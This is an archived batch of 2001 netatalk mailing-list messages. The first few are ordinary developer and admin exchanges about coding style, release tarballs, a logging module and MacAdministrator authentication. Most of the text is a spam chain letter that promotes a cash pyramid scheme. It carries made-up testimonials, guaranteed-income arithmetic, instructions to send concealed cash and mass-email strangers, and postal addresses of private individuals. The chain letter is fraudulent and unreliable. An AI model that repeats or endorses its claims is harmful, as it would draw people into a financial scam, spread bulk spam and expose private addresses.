Is there a standard style used in the rest of netatalk that I've missed or is it just every man for himself, cause if there is another coding style I'll change the code I've done.  Its quite annoying reading through lots of code layed out in different
ways.

Simon


From netatalk.administrators-errors@umich.edu  Sat Nov 24 10:10:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA03401
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 10:10:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA03024
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 10:10:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA03010
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 10:10:06 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA02969
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 10:10:05 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fAOFA3q18270
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 16:10:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAOFA3Z6005517
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 16:10:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAOFA35w005516
	for netatalk-admins@umich.edu; Sat, 24 Nov 2001 16:10:03 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 167drc-0000ck-00; Sat, 24 Nov 2001 15:33:04 +0100
Date: Sat, 24 Nov 2001 15:33:04 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Reminder: IRC meeting Sat, 2001-11-23 (updated)
Message-ID: <20011124153304.B2329@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <20011123084509.A8531@jroger.in-berlin.de> <Pine.LNX.4.33.0111232147001.21628-100000@bocklabs.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0111232147001.21628-100000@bocklabs.wisc.edu>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Nov 23, 2001 at 09:48:40PM -0600, Daniel E. Lautenschleger wrote:

> Is the tarball release candidate already "autogen-ed" or something?

Yes. That's the trick with automake and autoconf: You don't need them if
you're building a tar-ball.

> Should we not have a version that is exactly like what you'd download
> from CVS or not?

I shouldn't matter if and what version of automake/autoconf you have
installed. If there are problems with that, it's a bug.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Nov 24 11:50:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07706
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 11:50:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA23207
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 11:50:59 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA23188
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 11:50:59 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA23159
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 11:50:57 -0500 (EST)
Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fAOGlkJ09900;
	Sat, 24 Nov 2001 11:47:46 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Logger
From: Joe Clarke <marcus@marcuscom.com>
To: Simon Bazley <sibaz@sibaz.com>
Cc: deltor@snafu.de, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
In-Reply-To: <3BFFA8E8.D697315C@sibaz.com>
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112406003300.17383@athlet>
	<1006579108.42573.2.camel@shumai.marcuscom.com>
	<01112406464601.17383@athlet> <3BFFA74F.4869009B@sibaz.com> 
	<3BFFA8E8.D697315C@sibaz.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.2 (Preview Release)
Date: 24 Nov 2001 21:51:01 +0500
Message-Id: <1006620661.49125.0.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Sat, 2001-11-24 at 09:04, Simon Bazley wrote:
> Oh, and another thing:
> 
> My coding style is to use capitalised descriptions on everything (LogSetup) and to use vaigly informative global variables (arrMyArray and numMyArray for the array and the number of items in it).  I also indent with
> if
> {
> <- 2 spaces indenting
>   if
>   {
>   }
>   else
>     another command
> }
> 
> Is there a standard style used in the rest of netatalk that I've missed or is it just every man for himself, cause if there is another coding style I'll change the code I've done.  Its quite annoying reading through lots of code layed out in different
> ways.

I recommend the use of astyle on all code.  Also, none of the functions
in netatalk are capitalized.  Instead '_' are used to separate function
name components (e.g. cnid_open, afp_getfilparams, etc.).

Joe

> 
> Simon
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Sat Nov 24 11:53:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA07812
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 11:53:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA27094
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 11:53:38 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA27082
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 11:53:37 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA27057
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 11:53:36 -0500 (EST)
Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fAOGoVJ09920;
	Sat, 24 Nov 2001 11:50:31 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Logger
From: Joe Clarke <marcus@marcuscom.com>
To: Simon Bazley <sibaz@sibaz.com>
Cc: deltor@snafu.de, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
In-Reply-To: <3BFFA74F.4869009B@sibaz.com>
References: <3BFC5DB7.BF332CCB@sibaz.com> <01112406003300.17383@athlet>
	<1006579108.42573.2.camel@shumai.marcuscom.com>
	<01112406464601.17383@athlet>  <3BFFA74F.4869009B@sibaz.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.2 (Preview Release)
Date: 24 Nov 2001 21:53:46 +0500
Message-Id: <1006620826.49125.2.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Sat, 2001-11-24 at 08:57, Simon Bazley wrote:
> Ok, OK, I've done it already *grins*
> 
> There is a SetProcessName function for those that want to use it and a function LoadProcessNameFromProc (spelt with 2 c's ie wrong for the time being, DOH) to do the linux thing.
> 
> I'm sure the non linuxs have a ps function and it must have a means for getting the processname.  Anyway, for the time being we can use SetProcessName (which is called by LoadProcessNameFromProc).
> 
> The real question is with all this going on today, can we put the logger in the main trunk?

No, the real question is why are you still focusing on a Linux-only
solution?  And why do you need a function to set the process name in
your logging code?  You should force the developer to use LogSetup (or
probably log_setup()) to initialize the logging environment.  From
there, the developer should pass the name of the current running
program.

> 
> The current setup has 3 important points.
> 1) The syslog bit, which is setup by default.  It will log everything to syslog as per usual.  It is configured by a call to SysLogSetup with a different loglevel or logtype.  I should probably change it to add the filename/line of the caller (which
> currently only gets logged to a file).  This I believe does exactly the same as the current calls to syslog, with a bit of enhancement with the loglevel and logtype string being prepended to what would normally have been logged to syslog.  It also has a
> limit in the logstring length of 512 charachters (whcih I think should be enough).
> 2) The file logger bit.  This logs to a file which currently defaults to a localfile, called debuglog..  Thats not really desirable, but as soon as someone calls LogSetup, they change that anyway.  The directory this new file will exist in is set to
> '/var/log/netatalk/'.  Thats currently hard coded, but theres no reason why that cant be set by a configure option, or changed by giving a filename that overrides it (will a call to fopen with name '/var/log/netatalk//root/debuglog.log' ignore the
> /var/log/netatalk bit?).  Either way if the LogSetup call sets the loglevel to log_severe then the whole section is pretty much turned off.  Using a LogLevel of -1 will turn it off completely.
> 3) An enchancement to the file logger bit.  If the file logger can't open the logfile its been given (ie the directory /var/log/netatalk doesn't exist) then it will log to stdout for the process.
> 
> There are a number of improvements that still need to be done, but at the very least it doesn't to anything less than a call to syslog (except the 512 char limit).  Hence I ask is it ready to leave its lonely home in 'tagged_to_work_on_logger' and go into
> the main trunk?

Sounds like it's still too early to move this code in main stream use.

Joe

> 
> Simon
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Sat Nov 24 15:44:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14653
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 15:44:51 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA27137
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 15:44:51 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA27125
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 15:44:51 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA26932
	for <netatalk-admins@umich.edu>; Sat, 24 Nov 2001 15:44:42 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id UAA26079;
	Sat, 24 Nov 2001 20:44:09 GMT
Date: Sat, 24 Nov 2001 20:44:09 +0000 (GMT)
From: Alistair Riddell <ali@gwc.org.uk>
To: Gene Hurst <ghurst@columbiacomputers.com>
cc: Netatalk Administrators <netatalk-admins@umich.edu>
Subject: Re: Problem with MacAdminstrator
In-Reply-To: <0111192047150F.19163@gene.ghurst.net>
Message-ID: <Pine.LNX.4.21.0111242041590.18006-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 19 Nov 2001, Gene Hurst wrote:

> I am having a very odd problem using either MacAdministrator or Macintosh 
> Administrator.  If I connect to my Netatalk server using the chooser, 
> everything is fine, but if I try to authenticate through Macintosh 
> Adminstrator, my normal user management interface, it doesn't even try to 
> contact the Linux box, as far as I can tell.  Very odd... has anyone else had 
> experience with the Macintosh Adminstrator or MacAdministrator?

Works absolutely perfectly for me... We have a network of 600 machines
running MacAdmin, 400 of them netbooting, all using netatalk servers....

Make sure you have MacAdmin set to use ClearText authentication as that
is one less thing to go wrong.

Also, check whether you are connecting by TCP-IP or AppleTalk when you
connect through the Chooser, and check what MacAdmin is trying to do.


-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sat Nov 24 19:57:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA22068
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 24 Nov 2001 19:57:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA20259
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 24 Nov 2001 19:57:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA20248
	for netatalk.administrators-members@umich.edu; Sat, 24 Nov 2001 19:57:26 -0500 (EST)
Received: from mike (a66b8n240client232.hawaii.rr.com [66.8.240.232])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA19727; Sat, 24 Nov 2001 19:56:47 -0500 (EST)
Message-Id: <200111250056.TAA19727@easycomeeasygo.mr.itd.umich.edu>
From: mike <maybeblessing@yahoo.com>
Reply-To: maybeblessing@yahoo.com
Subject: This Will Be A Blessing To You
Date: Sat, 24 Nov 2001 14:31:44 -1000
X-Mailer: 007 Direct Email Easy
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="20b8a267-e0e5-11d5-a1ef-00e0295dd679"
To: undisclosed-recipients:;


This is a multi-part message in MIME format
--20b8a267-e0e5-11d5-a1ef-00e0295dd679
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

  
  Dear Friend & Future Millionaire:
 
  AS SEEN ON NATIONAL TV:
 
  Making over half million dollars every 4 to 5 months      from  your
home for an
investment of only $25 U.S. Dollars expense one time
 
   THANKS TO THE COMPUTER AGE AND THE INTERNET!
  =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
    BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!
  Before you say ''NO WAY'', please read the following.    This is the
letter you have been hearing about on the news lately. Due to the
popularity of this letter on the Internet, a national weekly news program
recently devoted an
entire show to the investigation of this program described below, to see
if it really can make people money. The show also investigated whether or
not the program was legal.
 
  Their findings proved once and for all that there are' 'absolutely NO
Laws prohibiting the participation in the program and if people can follow
the simple instructions, they are bound to make some megabucks with only
$25 out of pocket cost''. DUE TO THE RECENT INCREASE OF POPULARITY &
RESPECT THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN EVER.
 
  This is what one had to say: '' Thanks to this profitable opportunity. I
was approached many times before but each time I passed on it. I am so
glad I finally joined just to see what one could expect in return for the
minimal effort and money required. To my astonishment, I received total $
610,470.00 in 21 weeks, with money still coming in''. Pam Hedland, Fort
Lee, New Jersey.
 
  =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D
 
  Here is another testimonial:  '' This program has been around for a long
time but I never believed in it. But one day when I received this again in
the mail I decided to gamble my $25 on it. I followed the simple
instructions and walaa ..... 3 weeks later the money started to come in.
First month I only made $240.00 but the next 2 months after that I made a
total of $290,000.00. So far, in the past 8 months by re-entering the
program, I have made over $710,000.00 and I am playing it again. The key to
success in this program is to follow the simple steps and NOT change
anything.''
 
     More testimonials later but first,
  =3D=3D=3D=3D=3D PRINT THIS NOW FOR YOUR FUTURE REFERENCE =3D=3D=3D=3D=3D=3D=
=3D=3D
  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 
  If you would like to make at least $500,000 every 4 to 5 months easily
and comfortably, please read the following...THEN READ IT AGAIN and AGAIN
!!!
 
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 
  FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME
TRUE, GUARANTEED! INSTRUCTIONS:
 
 =3D=3D=3D=3D=3DOrder all 5 reports shown on the list below =3D=3D=3D=3D=3D
 
  For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU ARE
ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT
LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE
TOP LEFT CORNER in case of any mail problems.
 
=3D=3D=3D=3D=3D When you place your order, make sure you order each of the 5
reports.  You will need all 5 reports so that you can save them on your
computer and  resell them. YOUR TOTAL COST $5 X 5=3D$25.00.
 
  Within a few days you will receive, vie e-mail, each of the 5 reports
from these 5 different individuals. Save them on your computer so they
will be accessible for you to send to the 1,000's of people who will order
them from you. Also make a floppy of these reports and keep it on your
desk in case something happens to your computer.
 
  IMPORTANT - DO NOT alter the names of the people who are listed next to
each report, or their sequence on the list, in any way other than what is
instructed below in step '' 1 through 6 '' or you will lose out on
majority of your profits. Once you understand the way this works, you will
also see how it does not work if you change it. Remember, this method has
been tested, and if you alter it, it will NOT work !!!   So Do Not  try to
change anything other
than what is instructed. Because if you do, it  will not work for you.  
Remember, we are depending on God's Blessing on all who participate and we
strongly suggest that you give to your church a tithe as God Blesses You.!!!
 
1.... After you have ordered all 5 reports, take this advertisement and
REMOVE the name & address of the person in REPORT # 5. This person has
made it through the cycle and is no doubt counting their fortune.
 
2.... Move the name & address in REPORT # 4 down TO  REPORT  # 5.
 
3.... Move the name & address in REPORT # 3 down TO   REPORT # 4.
 
4.... Move the name & address in REPORT # 2 down TO REPORT   # 3. 
 
5.... Move the name & address in REPORT # 1 down TO    REPORT # 2
 
6.... Insert YOUR name & address in the REPORT # 1Position.
 
 PLEASE MAKE SURE you copy every name & address ACCURATELY!
 
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
 **** Take this entire letter, with the modified list of names, and save
it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as
well just in case if you lose any data. To assist you with marketing your
business on the internet, the 5 reports you purchase will provide you with
invaluable marketing information which includes how to send bulk e-mails
legally, where to find thousands of free classified ads and much more.
There are 2 Primary methods to get this venture going:
 
  METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D
  Let's say that you decide to start small, just to see how it goes, and
we will assume You and those involved send out only 5,000 e-mails each.
Let's also assume that the mailing receive only a 0.2%response (the
response could
be much better but lets just say it is only0.2%. Also many people will send
out hundreds of thousands of e-mails instead of only 5,000 each).
Continuing with this example, you send out only 5,000 e-mails.
 
  With a 0.2% response, that is only 10 orders for report #1. Those 10
people responded by sending out  5,000        e-mails each for a total of
50,000. Out of those 50,0      e-mails only 0.2% responded with orders.
That's =3D to 100
people responded and ordered Report # 2.  Those 100 people mail out 5,000
e-mails each for a total of 500,000         e-mails. The 0.2% response to
that is 1000 orders for Report #3.
 
  Those 1000 people send out 5,000 e-mails each for a total of 5 million
e-mails sent out. The 0.2% response to that is 10,000 orders for Report # 4.
 
  Those 10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million) e-mails.
  The 0.2% response to that is 100,000 orders for Report # 5 THAT'S
100,000 ORDERS TIMES $5 EACH=3D$500,000.00 (half million).
 
  Your total income in this example is: 1..... $50 +2..... $500 + 3.....
$5,000 + 4..... $50,000 + 5..... $500,000 ........Grand Total=3D$555,550.00
 
  NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST
POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE
A LOT OF MONEY !
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDER OUT OF 5,000 YOU
MAILED TO. Dare to think for a moment what would happen if everyone or
half or even one 4th of those people mailed 100,000 e-mails each or more?
There are over 150 million people on the Internet worldwide and counting.
Believe me, many people will do just that, and more!
 
   METHOD # 2 :  BY PLACING FREE ADS ON THE INTERNET
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D
 
 Advertising on the net is very  inexpensive and there are hundreds of
FREE places to advertise. Placing a lot of free ads on the Internet will
easily get a larger response. We strongly suggest you start with Method #
1 and add METHOD # 2 as you go along. For every $5 you receive, all you
must do is e-mail them the Report they ordered. That's it. Always provide
same day service on all orders.
 
  This will guarantee that the e-mail they send out with your name and
address on it, will be prompt because they can not advertise until they
receive the report.
 
  =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DAVAILABLE REPORTS =3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash
(U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash
is concealed by wrapping it in at least 2 sheets of paper or aluminum
foil. On one of those sheets of paper,  Write the NUMBER & the NAME of the
Report you are ordering, YOUR E-MAIL ADDRESS and your name and postal
address.
 
          PLACE YOUR ORDER FOR THESE REPORTS NOW
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
  REPORT # 1:  The Insider's Guide to Advertising for Free  on the Net
 
 Order Report #1 from:
 
  Mike Ambler
  1436 Auauki Street
  Kailua, Hawaii 96734
  USA
 ____________________________________________________________
 
  REPORT # 2: "The Insider's Guide to Sending Bulk e-mail on the Net"
 
 Order Report # 2 from:
 
  TJC
  PO Box 1241
  Kailua, Hawaii 96734
  USA
  ___________________________________________________________________
  REPORT # 3: "Secret to Multilevel Marketing on the Net"
  Order Report # 3 from:
 
  J. Fultz
  P.O. BOX 88065
  Honolulu, Hawaii 96830
  USA
 ____________________________________________________________
 
  REPORT # 4: "How to Become a Millionaire Utilizing MLM & the Net"
  Order Report # 4 from:
 
  J. Adviento
  1523 Piikoi St. Apt #2
  Honolulu, Hawaii 96822
  USA
  ____________________________________________________________
 
  REPORT #5: "How to Send Out 0ne Million e-mails for Free"
  Order Report # 5 from:
 
  A. Tiangha
  95 Templeridge Close  N.E.
  Calgary, Alberta  T1Y 4E1
  Canada
  =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
$$$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$
  Follow these guidelines to guarantee your success:
 
 =3D=3D=3D=3D If you do not receive at least 10 orders for Report #1 within 2=

weeks, continue sending e-mails until you do.
 
 =3D=3D=3D=3D After you have received 10 orders, 2 to 3 weeks after that you =
should
receive 100 orders or more for REPORT # 2. If you did not, continue
advertising or sending e-mails until you do.
 
 =3D=3D=3D=3D Once you have received 100 or more orders for Report # 2, YOU =
CAN
RELAX, because the system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is
moved down on the list, you are placed in front of a Different report.
 
  You can KEEP TRACK of your PROGRESS by watching which report people are
ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the
income you can generate from this  business !!!
 
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just
received information that can give you financial freedom for the rest of
your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more
money in the next few weeks and months than you have ever imagined. Follow
the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works
exceedingly well as it is now.
 
  Remember to e-mail a copy of this exciting report after you have put
your name and address in Report #1 and moved others to #2...........# 5 as
instructed above. One of the people you send this to may send out 100,000 or
more e-mails and your name will be on every one of them. Remember though,
the more you send out the more potential customers you will reach. So my
friend, I have given you the ideas, information, materials and opportunity
to become financially independent. IT IS UP TO YOU NOW!
 
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =
MORE TESTIMONIALS =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  " My name is Mitchell. My wife, Jody and I live in Chicago. I am an
accountant with a major U.S. Corporation and I make pretty good money.
When I received this program I grumbled to Jody about receiving
''junkmail''. I made fun of the whole thing, spouting my knowledge of the
population and percentages involved. I ''knew'' it wouldn't work. Jody
totally ignored my supposed intelligence and few days later she jumped in
with both feet. I made merciless fun of her, and was ready to lay the old
''I told you so'' on
her when the thing didn't work. Well, the laugh was on me!Within 3 weeks
she had received 50 responses. Within the next 45 days she had received
total $ 147,200.00......all cash! I was shocked. I have joined Jody in
her''hobby''.
        Mitchell Wolf M.D., Chicago, Illinois
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
    '' Not being the gambling type, it took me several weeks to make up my
mind to participate in this plan. But conservative that I am, I decided
that the initial investment was so little that there was just no way that I
wouldn't get enough orders to at least get my money back''. '' I was
surprised when I found my medium size post office box crammed with orders.
I made $319,210.00 in the first 12 weeks. The nice thing about this deal
is that it does not matter where people live. There simply isn't a better
investment with a faster return and so big''.
             Dan Sondstrom, Alberta, Canada
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D 
